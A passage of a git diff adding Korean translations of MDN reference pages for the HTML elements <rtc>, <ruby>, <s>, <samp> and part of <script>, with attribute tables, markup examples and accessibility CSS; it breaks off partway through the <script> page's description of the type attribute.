+ <td>바로 뒤따르는 요소가 {{htmlelement("rb")}}, {{htmlelement("rt")}}, 다른 <code>&lt;rtc&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("ruby")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html highlight[8]">&lt;div class="info"&gt;
+ &lt;ruby&gt;
+ &lt;rbc&gt;
+ &lt;rb&gt;馬&lt;/rb&gt;&lt;rt&gt;마&lt;/rt&gt;
+ &lt;rb&gt;來&lt;/rb&gt;&lt;rt&gt;래&lt;/rt&gt;
+ &lt;rb&gt;西&lt;/rb&gt;&lt;rt&gt;서&lt;/rt&gt;
+ &lt;rb&gt;亞&lt;/rb&gt;&lt;rt&gt;아&lt;/rt&gt;
+ &lt;/rbc&gt;
+ &lt;rtc&gt;말레이시아&lt;/rtc&gt;
+ &lt;/ruby&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">.info {
+ padding-top: 10px;
+ font-size: 36px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", 600, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML5.2', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+ <td>{{Spec2('HTML5.2')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'textlevel-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rtc-element', '&lt;rtc&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rtc")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/ruby/index.html b/files/ko/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..7a8dffa036
--- /dev/null
+++ b/files/ko/web/html/element/ruby/index.html
@@ -0,0 +1,110 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/ruby
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ruby&gt;</code> 요소</strong>는 루비 주석을 나타냅니다. 루비 주석은 동아시아 문자의 발음을 표기할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="문자별_표기">문자별 표기</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+ 漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>{{EmbedLiveSample("문자별_표기")}}</p>
+
+<h3 id="단어별_표기">단어별 표기</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+ 明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>{{EmbedLiveSample("단어별_표기")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ruby")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/s/index.html b/files/ko/web/html/element/s/index.html
new file mode 100644
index 0000000000..8edc9424cc
--- /dev/null
+++ b/files/ko/web/html/element/s/index.html
@@ -0,0 +1,126 @@
+---
+title: <s>
+slug: Web/HTML/Element/s
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/s
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;s&gt;</code> 요소</strong>는 글자에 취소선, 즉 글자를 가로지르는 선을 그립니다.</span> <code>&lt;s&gt;</code> 요소를 사용해 이제 관계 없거나 더 이상 정확하지 않은 부분을 나타내세요. 그러나, <code>&lt;s&gt;</code>는 문서의 편집 기록을 나타내는 용도로는 적합하지 않습니다. 상황에 따라 {{HTMLElement("del")}}과 {{HTMLElement("ins")}} 요소를 대신 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/s.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 요소</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;s&gt;Today's Special: Salmon&lt;/s&gt; SOLD OUT&lt;br&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;s&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">s::before,
+s::after {
+ clip-path: inset(100%);
+ clip: rect(1px, 1px, 1px, 1px);
+ height: 1px;
+ overflow: hidden;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+
+s::before {
+ content: " [취소선 시작] ";
+}
+
+s::after {
+ content: " [취소선 끝] ";
+}
+</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 취소선의 유무가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','semantics.html#the-s-element','s element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','textlevel-semantics.html#the-s-element','s element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.s")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>자료가 <strong>삭제</strong>된 경우 사용하는 {{HTMLElement("del")}} 요소.</li>
+ <li><code>&lt;s&gt;</code> 요소의 시각적 요소를 재현할 수 있는 CSS {{cssxref("text-decoration-line")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/samp/index.html b/files/ko/web/html/element/samp/index.html
new file mode 100644
index 0000000000..44c10296f9
--- /dev/null
+++ b/files/ko/web/html/element/samp/index.html
@@ -0,0 +1,156 @@
+---
+title: '<samp>: 출력 예시 요소'
+slug: Web/HTML/Element/samp
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/samp
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;samp&gt;</code> 요소</strong>는 컴퓨터 프로그램 출력의 예시(혹은 인용문)를 나타냅니다.</span> 보통 브라우저의 기본 고정폭 글씨체(보통 Courier, Lucida Console)를 사용해 렌더링합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/samp.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>브라우저가 <code>&lt;samp&gt;</code> 요소에 사용하는 기본 글씨체는 CSS를 사용해 바꿀 수 있습니다. 그러나 브라우저의 사용자 설정값이 모든 CSS보다 우선할 수도 있습니다.</p>
+
+<p>기본 글씨체를 덮어쓸 수 있는 CSS는 다음과 같은 형태입니다.</p>
+
+<pre class="brush: css">samp {
+ font-family: "Courier";
+}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 웹사이트나 앱의 JavaScript 코드 출력을 담을 컨테이너 요소가 필요하다면 {{HTMLElement("output")}} 요소를 사용해야 합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>다음 간단한 예제는 문단이 프로그램 출력 예시를 포함하고 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;프로세스가 완료되면 유틸리티가 &lt;samp&gt;Scan complete. Found &lt;em&gt;N&lt;/em&gt; results.&lt;/samp&gt;
+를 출력합니다. 출력을 확인한 후 다음 단계로 진행하세요.&lt;/p&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 100)}}</p>
+
+<h3 id="사용자_입력을_포함한_출력_예시">사용자 입력을 포함한 출력 예시</h3>
+
+<p><code>&lt;samp&gt;</code> 블록 안에 {{htmlelement("kbd")}} 요소를 중첩해서 사용자가 입력하는 텍스트 예제를 나타낼 수 있습니다. 다음 예제 코드는 Linux 또는 macOS 콘솔 세션의 텍스트 복사본을 나타냅니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;pre&gt;
+&lt;samp&gt;&lt;span class="prompt"&gt;mike@interwebz:~$&lt;/span&gt; &lt;kbd&gt;md5 -s "Hello world"&lt;/kbd&gt;
+MD5 ("Hello world") = 3e25960a79dbc69b674cd4ec67a72c62
+
+&lt;span class="prompt"&gt;mike@interwebz:~$&lt;/span&gt; &lt;span class="cursor"&gt;█&lt;/span&gt;&lt;/samp&gt;&lt;/pre&gt;</pre>
+
+<p>{{HTMLElement("span")}}을 사용해 셸 프롬프트, 콘솔 커서 등 예제 텍스트의 특정 부분에 다른 스타일을 적용했습니다. 또, <code>&lt;kbd&gt;</code>를 사용해 사용자가 입력한 텍스트를 나타내고 있습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>원하는 외형을 얻을 수 있는 CSS는 다음과 같습니다.</p>
+
+<pre class="brush: css">.prompt {
+ color: #b00;
+}
+
+samp &gt; kbd {
+ font-weight: bold;
+}
+
+.cursor {
+ color: #00b;
+}</pre>
+
+<p>프롬프트와 커서에 강렬하지 않은 색을 입히고, 예제 텍스트의 입력 부분을 굵게 하는 단순한 코드입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("사용자_입력을_포함한_출력_예시", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;samp&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.samp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 요소: {{HTMLElement("kbd")}}, {{HTMLElement("code")}}, {{HTMLElement("pre")}}</li>
+ <li>스크립트로 생성한 출력을 담는 {{HTMLElement("output")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/script/index.html b/files/ko/web/html/element/script/index.html
new file mode 100644
index 0000000000..15c1b924b4
--- /dev/null
+++ b/files/ko/web/html/element/script/index.html
@@ -0,0 +1,220 @@
+---
+title: '<script>: 스크립트 요소'
+slug: Web/HTML/Element/script
+tags:
+ - Element
+ - HTML
+ - HTML scripting
+ - 'HTML:Flow content'
+ - 'HTML:Metadata content'
+ - 'HTML:Phrasing content'
+ - 'HTML:Script-supporting element'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/script
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;script&gt;</code> 요소</strong>는 데이터와 실행 가능한 코드를 문서에 포함할 때 사용하며 보통 JavaScript 코드와 함께 씁니다.</span> <a href="/ko/docs/Web/API/WebGL_API">WebGL</a>의 GLSL 셰이더 프로그래밍 언어, <a href="/ko/docs/Glossary/JSON">JSON</a> 등 다른 언어와도 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><code>text/javascript</code>와 같은 동적 스크립트.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용한 아무 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLScriptElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}}</dt>
+ <dd>
+ <p>일반 스크립트에 <code>async</code> 속성이 존재하면 HTML 구문 분석 중에도 스크립트를 가져오며, 사용 가능해지는 즉시 평가를 수행합니다.</p>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Modules">모듈 스크립트</a>에 <code>async</code> 속성이 존재하면 모듈 스크립트와 모든 의존 스크립트를 지연 큐에서 실행하므로 함께 병렬로 불러오며, 이와 동시에 구문 분석을 수행하고 사용 가능해지는 즉시 평가합니다.</p>
+
+ <p>기존 방식은 브라우저가 HTML 분석을 계속하기 전에 스크립트를 불러오고 평가했어야 하므로, <code>async</code> 속성을 사용하면 <strong>분석기를 멈추는 JavaScript</strong>를 제거할 수 있습니다. <code>defer</code>도 비슷한 효력을 냅니다.</p>
+
+ <p><code>async</code>는 불리언 속성입니다. 속성이 존재하면 참을 나타내고, 속성이 존재하지 않으면 거짓을 나타냅니다.</p>
+
+ <p>{{anch("브라우저 호환성")}}을 참고하세요.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>일반 <code>script</code> 요소는 표준 {{glossary("CORS")}}를 통과하지 못했을 때 {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}}에 최소한의 정보만 넘깁니다. <code>crossorigin</code> 속성은 정적 미디어에 대해 별도의 도메인을 사용하는 사이트의 오류 기록을 허용하기 위해 사용할 수 있습니다. 유효한 인수에 대한 보다 자세한 설명은 <a href="/ko/docs/Web/HTML/Attributes/crossorigin">CORS 설정 속</a>성 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>
+ <p>브라우저가 스크립트를 문서 분석 이후에, 그러나 {{event("DOMContentLoaded")}} 발생 이전에 실행해야 함을 나타내는 불리언 속성입니다.</p>
+
+ <p><code>defer</code> 속성을 가진 스크립트는 자신의 평가가 끝나기 전까지 <code>DOMContentLoaded</code> 이벤트의 발생을 막습니다.</p>
+
+ <div class="warning">
+ <p><code>src</code> 속성이 존재하지 않을 때(인라인 스크립트인 경우 등)에는 아무런 효과도 없으므로 사용해서는 안됩니다.</p>
+
+ <p>또한 <a href="/ko/docs/Web/JavaScript/Guide/Modules">모듈 스크립트</a>는 기본적으로 지연 평가하므로, <code>defer</code>를 지정해도 변화가 없습니다.</p>
+ </div>
+
+ <p><code>defer</code> 속성을 가진 스크립트는 문서상의 순서를 따라 실행됩니다.</p>
+
+ <p>기존 방식은 브라우저가 HTML 분석을 계속하기 전에 스크립트를 불러오고 평가했어야 하므로, <code>defer</code> 속성을 사용하면 <strong>분석기를 멈추는 JavaScript</strong>를 제거할 수 있습니다. <code>async</code>도 비슷한 효과를 가집니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 가져온 리소스에 예기치 못한 변형이 존재하는지 검사할 때 사용할 인라인 메타데이터입니다. <a href="/ko/docs/Web/Security/Subresource_Integrity">하위 리소스 무결성</a> 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("nomodule")}}</dt>
+ <dd><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES2015 모듈</a>을 지원하는 브라우저에서는 실행하지 않을 스크립트임을 나타내는 불리언 특성입니다. 모듈화 JavaScript를 지원하지 않는 오래된 브라우저가 사용할 대체 스크립트에 사용할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src"><code>script-src</code> <code>Content-Security-Policy</code></a>의 화이트리스트에 스크립트를 등록하기 위한, 암호화된 일회용 숫자(논스, nonce)입니다. 서버는 고유한 일회용 숫자값을 정책을 전송할 때마다 생성해야 합니다. 자원의 정책을 우회할 수 없도록, 추측할 수 없는 임시값을 제공하는 것이 중요합니다.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>스크립트를 가져올 때, 또는 스크립트가 다른 리소스를 가져올 때 전송할 <a href="/ko/docs/Web/API/Document/referrer">리퍼러</a>를 나타냅니다.
+ <ul>
+ <li><code>no-referrer</code>: {{HTTPHeader("Referer")}} 헤더를 전송하지 않습니다.</li>
+ <li><code>no-referrer-when-downgrade</code> (기본값): {{glossary("TLS")}}({{glossary("HTTPS")}}) 지원을 하지 않는 {{glossary("origin", "출처")}}에 대해서는 {{HTTPHeader("Referer")}} 헤더를 전송하지 않습니다.</li>
+ <li><code>origin</code>: <code>Referer</code> 헤더가 요청 출처({{glossary("protocol", "스킴")}}, {{glossary("host", "호스트")}}, {{glossary("port", "포트")}})를 포함합니다.</li>
+ <li><code>origin-when-cross-origin</code>: <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처</a> 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 출처만 전송합니다.</li>
+ <li><code>same-origin</code>: 동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 아무 레퍼러 정보도 보내지 않습니다.</li>
+ <li><code>strict-origin</code>: 목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 출처를 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다.</li>
+ <li><code>strict-origin-when-cross-origin</code>: 동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 목적지가 현재 문서와 동일하거나 더 높은 보안 수준(HTTP(S)→HTTPS)을 가진 경우 자신의 출처를 전송합니다. 그 외의 경우 아무 레퍼러 정보도 보내지 않습니다.</li>
+ <li><code>unsafe-url</code>: 동일 출처와 교차 출처 요청 모두에 대해서 전체 URL을 전송합니다. TLS로 보호하는 리소스에서 안전하지 않은 출처에 경로까지 노출하므로 <strong>안전하지 않습니다</strong>.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>참고</strong>: 빈 문자열 값(<code>""</code>)은 기본값이자 <code>referrerpolicy</code> 특성을 지원하지 않는 경우 사용하는 대체값입니다. <code>referrerpolicy</code>를 <code>&lt;script&gt;</code> 요소에 명시하지 않은 경우 더 상위 단계의 정책, 즉 문서 자체나 도메인의 정책을 따라갑니다. 상위 단계 정책도 사용할 수 없을 땐 빈 문자열을 <code>no-referrer-when-downgrade</code>로 간주합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>외부 스크립트를 가리키는 {{glossary("URI")}}입니다. 문서 내에 스크립트를 직접 삽입하는 것 대신 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>스크립트의 유형을 나타냅니다. 다음 다섯개의 범주 중 하나에 속할 수 있습니다.</p>
+
+ <ul>
+ <li><strong>생략 또는 JavaScript MIME 유형:</strong> 스크립트가 JavaScript임을 나타냅니다. 이 경우, HTML5 명세는 웹 작성자가 불필요한 <code>type</code>을 포함하지 않고 완전히 제외할 것을 촉구합니다. 보다 오래된 브라우저에서는 <code>type</code> 특성의 값으로 삽입 혹은 (<code>src</code> 특성으로) 불러온 스크립트의 언어를 표시하곤 했습니다. JavaScript MIME 유형은 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#JavaScript_types">명세에 나열</a>되어 있습니다.</li>
+ <li><strong><code>module</code>:</strong> 스크립트를 JavaScript 모듈로 간주합니다. 스크립트 콘텐츠 처리가 <code>charset</code>과 <code>defer</code> 특성의 영향을 받지 않습니다. <code>module</code>의 더 자세한 사용법은 MDN의 <a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈 안내서</a>를 참고하세요. 기존 스크립트와 달리, 모듈 스크립트는 교차 출처 가져오기 시 CORS 프로토콜을 사용해야 합니다.</li>
